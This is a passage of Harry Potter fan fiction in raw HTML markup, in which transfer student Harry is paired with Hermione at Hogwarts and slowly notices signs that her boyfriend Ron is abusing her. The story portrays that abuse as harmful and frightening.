style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I didn&#8217;t see anything, I heard\neverything though.&#8221; Harry said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I need you to forget everything\nyou heard.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I can&#8217;t really do that, it\nsounded like you cheating on your girlfriend.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I would never cheat on Ginny.&#8221;\nNeville was getting angry, but he still kept his voice low. &#8220;Listen to me\nHarry, leave this alone.&nbsp; Don&#8217;t go\nsticking your nose into things that are way over your head.&nbsp; We have to deal with certain situations here,\nand I can&#8217;t have you the new student come in and turn everything upside\ndown.&#8221;&nbsp; Neville quickly brushed passed\nHarry and into the boys dorm.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Huh?&#8221; Harry said out loud, &#8220;that\nwas the most confusing bit of guff he had ever heard.&#8221;&nbsp; He shook his head and then decided that he\nshould just go back to sleep.&nbsp; He really\ndidn&#8217;t need that walk after all.&nbsp; He\nreturned to the boys dorm.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione sat at the Gryffindor\ntable, with her nose buried in her Transfiguration book.&nbsp; That was their first class for the morning,\nshe wanted to get a head start on the information before it was actually\ntaught.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron leaned over and kissed her on\nthe side of the forehead, &#8220;I&#8217;m going to go talk to Lavender from Ravenclaw, she\nhas my cheat notes for Transfiguration.&nbsp;\nStay here and remember what I said.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded, she heard Ron make\nsome kind of noise, it wasn&#8217;t a happy noise. &#8220;I remember.&#8221; She said quickly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron smiled a bit, &#8220;That&#8217;s my good\ngirl.&#8221; He stood from his table and started over towards the Ravenclaw&#8217;s\ntable.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The table shook a bit as she was\njust getting back into her book, Hermione heard Ginny&#8217;s voice across from her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Good morning Harry.&#8221; Ginny said\nwith a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry simply yawned, &#8220;Hey.&#8221; He\nsaid he looked about the table and decided to help himself to the large bowl of\noatmeal.&nbsp; Harry scooped out one glob of\nit into his own bowl; he grabbed the pitcher of milk and poured a bit of it in\nthe oatmeal.&nbsp; He then grabbed the bowl of\nblueberries and put some of those into his oatmeal and he stirred it about.\nHarry began to eat his breakfast.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Did you have a good sleep?&#8221; Ginny\nasked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sure.&#8221; Harry replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You&#8217;re not much a morning person,\nare you?&#8221; Ginny said cheerfully.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nope.&#8221; He continued eating.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny shrugged, &#8220;I gotta get ready\nfor Potions anyway, I&#8217;ll see you around.&#8221; Ginny smiled and then gathered up her\nbag. She jumped up from her seat and headed towards the Great Hall doors.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry wasn&#8217;t really hungry so he\njust started twirling the spoon about in the oatmeal, it was starting to\nliquefy anyway.&nbsp; He pushed the bowl away\nand leaned back a bit.&nbsp; Harry saw Hermione\nhunched over reading a book.&nbsp; He decided\nto try and talk to her, he lifted the end of the spoon and tapped it on her\nbook. She didn&#8217;t even look up at him. So he did it again. Still no response.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Excuse me?&#8221; Harry said trying to\nget her attention. &#8220;If we&#8217;re going to be in the same house, we should at least\nget to know each other.&#8221;&nbsp; He wondered if\nshe was even listening to him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t talk to me.&#8221; Hermione said\nquietly without lifting her head, she heard him make some kind of scoff. &#8220;I&#8217;m\nvery busy.&#8221; She added, still not taking her eyes from the book.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8216;That was rude&#8217;</i> Harry thought to himself, &#8220;Look all I wanted was to\ntalk to you for a moment, can&#8217;t you just take two seconds and&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione interrupted him &#8220;Just don&#8217;t\nall right, I don&#8217;t care if you&#8217;re new sixth year around here, or if you&#8217;re a\nfirst year.&nbsp; Just don&#8217;t bother me.&#8221; She\nsaid in the same quiet tone. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry&#8217;s eyes narrowed at hearing\nthe growing aggravation in her voice.&nbsp;\nJust who does this girl think she is?&nbsp;\nDoes she think she&#8217;s better than everyone else?&nbsp; She must think that, it obvious she&#8217;s dating\nMr. Popularity.&nbsp; Anyone dating someone of\nthat high stature has got to be just as stuck up and arrogant as him.&nbsp; He was just about to tell her exactly what he\nthought of her kind when Ron came up behind Hermione, he was glancing down at\nthe back of her head.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione, let&#8217;s go now.&#8221; Ron\nsaid, his tone like ice.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry watched Hermione as she shut\nher eyes for flash of a second taking a small unnoticeable breath.&nbsp; Well to everyone else it was\nunnoticeable.&nbsp; She quickly closed her\nbook and stuffed it into her bag.&nbsp;\nHermione stood from the bench and Ron grabbed her hand.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Did you forget what we talked\nabout last night?&#8221; Ron asked, his eyes narrowing.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It wasn&#8217;t my fault.&#8221; She said\nquietly as the two of them started towards the Great Hall doors.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry shook his head, Those two\nare welcome to each other. Two stuck up people like that; well they just\nwouldn&#8217;t get to him.&nbsp; Like Neville and\nDraco said there were plenty of other pretty girls at this school.&nbsp; He stood up and picked up his Transfiguration\nbook and headed to his first class at his new school.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n*</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron drug Hermione into the\nclassroom, they were almost late.&nbsp; All\nheads turned and eyes were upon them as they took their seats. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron inconspicuously pushed\nHermione down into the chair next to him. &#8220;Just sit there and be quiet,&#8221; He\nsaid hovering closely to her ear. &#8220;We were almost late because of you.&#8221; Ron\nsaid in anger.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione glanced down at her bag\nand slowly pulled out her book setting it on the table. She folded her hands on\ntop of the bronze cover and looked straight ahead awaiting the teacher&#8217;s\narrival. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The door to the classroom opened\nand Professor McGonagall walked inside, she went to the front of the classroom\nand turned around facing the students with a stern look upon her face.&nbsp; &#8220;Welcome to a fresh new year students.&#8221; She\nsaid looking about the students faces.&nbsp;\n&#8220;Now to cut back on the amount of goofing off this year,&#8221; She looked\npointedly at Ron Weasley and Dean Thomas, I will pair you with a partner.&nbsp; This will be your partner for the whole rest\nof the year.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">McGonagall picked up a scroll from\noff her desk, as she heard the students groans and complaints.&nbsp; She unrolled the scroll and cleared her\nthroat to speak.&nbsp; &#8220; Dean Thomas and Draco\nMalfoy. Parvati Patil and Vincent Crabbe.\nRonald Weasley and Neville Longbottom.&nbsp;\nGregory Goyle and Blaise Zambini.\nLavender Brown and Justin Finch -Fletchley. Hermione Granger and Harry Potter.&#8221;\nShe continued on down the list.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron glared over at the other side\nof the classroom at Harry, his glare faded and was replaced by a grin. He was\ngoing to flatten him at the Quidditch tryouts on Friday.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">McGonagall finished the list and\nthe students began changing seats, Hermione looked over at Ron.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I&#8217;m not moving, so you had\nbetter.&#8221; Ron said as Neville came over to him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione gathered up her\nbelongings and moved over to where Harry was sitting.&nbsp; She sat down next to him still staring ahead\nat the teacher.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry glanced at her for a moment,\nuntil Professor McGonagall started talking. He turned his attention to the\nlesson.&nbsp; They were given an assignment to\nturn an artichoke into a duck.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Let&#8217;s get to work.&#8221; Hermione said\nwithout looking at him, she stared at the artichoke. She pulled her wand out\nfrom her pocket and pointed it at the object.&nbsp;\nHer hand was shaking and she felt the sweat drops start forming on her\nforehead.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They hadn&#8217;t even really gotten\nstarted yet and she was already sweating up a storm.&nbsp; Harry glanced at her. &#8220;Are you all right,\nyou&#8217;re not sick are you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No, I&#8217;m just concentrating.&#8221; Her\nhand started really shaking. &#8220;I&#8212;I don&#8217;t want to mess this up.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just relax,&#8221; Harry suggested,\n&#8220;It&#8217;s not that big of a deal if we don&#8217;t get it on the first try you know.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It isn&#8217;t?&#8221; Hermione looked at the\nartichoke again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We haven&#8217;t really been introduced\nhave we?&#8221;&nbsp; Harry said with a smile </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione just shook her head no.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well then I&#8217;m Harry, and you\nare?&#8221;&nbsp; He knew her name, but he still\nwanted to hear it from her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione.&#8221; She said quietly.&nbsp; &#8220;Not Herm, Herms or Hermie.\nJust Hermione.&#8221; Hermione was glancing down at the book cover.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded.&nbsp; &#8220;Okay, who was your last partner and how did\nyou work with them?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well,&#8221; She kept her eyes firmly\non the artichoke. &#8220;My partner has always been Ron, he likes to get things on\nthe first try.&#8221; She said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How often did that happen?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione was silent a moment, &#8220;It hardly\never happened. I just get so nervous that I&#8212;&#8221; She cut herself off.&nbsp; Hermione paused a moment then she gave a\nsoft, tiny smile. &#8220;This is just a really hard subject for me, that&#8217;s all.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well then we will take it easy.&#8221;\nHarry said, he bent a little trying to catch her eye.&nbsp; &#8220;I&#8217;m in no rush we have until Friday to see\nif we can turn this artichoke into a duck. How odd is that?&nbsp; I wonder what the duck would taste like.&nbsp; Would it taste like duck or artichoke?&#8221; He\nsmiled a bit.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione laughed a little, then\nslammed her palm over her mouth.&nbsp; Harry\nlooked at her oddly. She was one weird girl.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The two of them were working hard\non the transfiguration, Hermione just wasn&#8217;t getting the grasp of it. &#8220;I am\nnever going to get this.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;For one, you are holding your\nwand wrong.&#8221;&nbsp; Harry gripped his a little\nharder, &#8220;You have to hold it like you mean business.&#8221; He glared down at the\nartichoke with menace and determination, which again caused another burst of\nlaughter come from Hermione.&nbsp; Harry\nnoticed she was still doing it wrong.&nbsp;\n&#8220;Here let me show you.&#8221; Harry placed his hand on hers and she instantly\nripped it away from his touch, almost as if she had been burnt.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No, no i&#8212;it&#8217;s\nokay, I think I can figure it out.&#8221; She said her voice sounded shaky.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry thought he had heard that\ntone of voice before, then it struck him.&nbsp;\nThis was the girl that was with Neville last night.&nbsp; For some reason he was finding it really hard\nto even want to be her school partner.&nbsp;\nShe seemed to have no morals, no nothing. Going behind a friend&#8217;s back\nand stealing someone&#8217;s boyfriend, while she already had a boyfriend. His eyes\nnarrowed. &#8220;Okay then I&#8217;ll just&#8212;&#8221; The bell wrung interrupting Harry</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione quickly packed up her\nbooks and shoved her wand in her bag, quicker than lightning she left Harry&#8217;s\nside and rushed back over to Ron&#8217;s&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry watched her for a moment,\nRon was talking in her ear and she had her head bowed looking towards the\nfloor.&nbsp; She appeared straight and tense\nas Ron put his fingers on her chin raising her face for their eyes to\nmeet.&nbsp; Harry noticed that Ron continued\ntalking to her and she was just nodding, not really saying anything. Her body\nslumped almost relaxing.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron then reached down and grabbed\na hold of her hand and they started from the class room.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Potions was next, Harry passed\nthrough the corridor and into the classroom in the dungeons.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny was just putting her book\ninto her bag when she saw Harry come inside, &#8220;Hey Harry, I think you&#8217;ll like\nthis class. Potions is really fun.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry smiled, &#8220;Well if it was\nanything like it was at Durmstrang it&#8217;s probably a walk in the park.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well Professor Snape is a good\nprofessor, if you are on his good side of course.&#8221; She said with a smile.&nbsp; &#8220;Well I must get to Charms, see you at\nlunch.&#8221; Ginny then raced from the room.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The classroom started filling up\nwith students, Ravenclaws and Gryffindors were in\nthis class together Harry noticed.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Five points each from Gryffindor\nWeasley and Granger, please keep you&#8217;re personal&#8230; business&#8230;. in private.&#8221; A\ngruff voice sounded at the door. Harry assumed that must be Professor\nSnape.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Professor Snape stalked into the\nroom and up to the front of the class, Hermione and Ron followed after him and\ntook their seats two rows in front of Harry.&nbsp;\nThey got glares from the rest of the Gryffindors.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Now.&#8221; Snape said with a smile\nfacing the students, &#8220;Sixth year potions is extremely tough, not as tough as\nseventh year, but it is difficult.&nbsp; Still\nit can be fun.&nbsp; Now for this year\nHeadmaster Dumbledore spoke to me and said that he wanted partners for potions\nto be interhouse relations, what that means is, pick\nsomeone from another house to be your partner.&nbsp;\nI&#8217;ll give you a few minutes to pick your partner.&nbsp; Go.&#8221; He said watching the students scramble\naround.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Lavender Brown came up to Harry,\n&#8220;How about you being my partner, I heard you were top student at Durmstrang?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Fine, whatever.&#8221; Harry said as\nLavender sat next to him.&nbsp; He looked over\nat the other students.&nbsp; Ron looked like\nhe was gonna throw a fit for some reason. Oh well Ron and Hermione were\noddities among the students.&nbsp; He didn&#8217;t\nwant anything to do with them. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron moved over to the Ravenclaws side and picked a partner. He sat down crossing\nhis arms over his chest and glaring down at his cauldron.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry watched as Draco came over\nto the Gryffindors side, up to Hermione and tapped her lightly on the\nshoulder.&nbsp; She nodded and Draco sat down.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay now that you&#8217;ve all chosen\nyour partners,&#8221; Snape began teaching the class.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The students got underway chopping\nand preparing their ingredients.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Draco looked at Hermione, whose\nface was turned downward as she chopped up the batwings.&nbsp; &#8220;How are you doing?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m fine.&#8221; Hermione said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Draco watched her closely, her\nhands were shaking a bit as she sliced up the wings into fine, long\nstrips.&nbsp; &#8220;Hermione relax a bit, I&#8217;m not\nRon you know.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I know.&#8221; She said.&nbsp; &#8220;It&#8217;s just hard.&nbsp; The batwings I mean, they are tough to cut so\nmy hands shake just a little bit.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione you don&#8217;t need to tell me\nthat, you know that I know.&#8221; He watched her closely, there was a bluish mark\nforming on her cheek.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m a bit relieved that I have at\nleast two classes free, you know.&#8221;&nbsp;\nHermione grabbed the vial of purple dust handing it to him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah I know.&#8221; Draco said as he\nmeasured out two tablespoons of the dust and put it into the bubbling\ncauldron.&nbsp; He looked at her again and the\nmark on her cheek was growing a little bigger.&nbsp;\n&#8220;Hermione?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She glanced up a moment, &#8220;What?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Draco pointed to her cheek.&nbsp; &#8220;That&#8217;s what.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She bent down and opened her bag\nfishing for her mirror she pulled it out and took a look. &#8220;Oh no.&#8221; She was\npanicked. Hermione turned facing Draco.&nbsp;\n&#8220;Cover it hurry, I obviously didn&#8217;t do a very good job.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All right, all right.&nbsp; Hold still.&#8221; Draco said putting his wand up\nto her cheek just below her eye. &#8220;invisibious.&#8221; He\nsaid quietly as the mark was hidden once again.&nbsp;\n&#8220;When did you get that one?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Last night. It has a twin.&#8221; She\nlaughed a bit.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Somehow Draco didn&#8217;t think that\nwas funny. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey Malfoy, you trying to steal\nRon&#8217;s girl?&#8221; Dean shouted with a chuckle.&nbsp;\n&#8220;A wimp like you couldn&#8217;t even grasp such a hottie\nas Hermione.&#8221;&nbsp; That outburst caused a lot\nof the student body to look in their direction.&nbsp;\nIncluding Ron.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Shut up you idiot.&#8221; Draco\nbellowed at Dean for more then one reason. &#8220;She just has something in her eye.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah, yeah I heard that one\nbefore.&nbsp; They always have something in\ntheir eyes.&#8221; Seamus also joined in on the teasing.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione turned resting her face\nin her hands which were propped up by her elbows on the table.&nbsp; &#8220;Be careful Draco.&#8221; She said quietly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I will. Come on let&#8217;s continue\nworking.&#8221; Draco said as they continued on the potion.&nbsp; He took a side glance at Ron who looked like\nhe was going to kill him.&nbsp; Draco\nswallowed hard.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry just shook his head back and\nforth and continued on his potion.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" 